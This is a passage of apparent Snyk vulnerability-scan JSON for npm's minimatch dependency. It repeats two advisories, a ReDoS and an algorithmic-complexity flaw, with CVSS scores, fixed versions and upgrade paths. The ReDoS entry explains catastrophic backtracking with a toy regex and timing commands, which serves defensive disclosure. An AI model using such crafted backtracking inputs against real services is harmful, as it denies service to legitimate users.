"SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 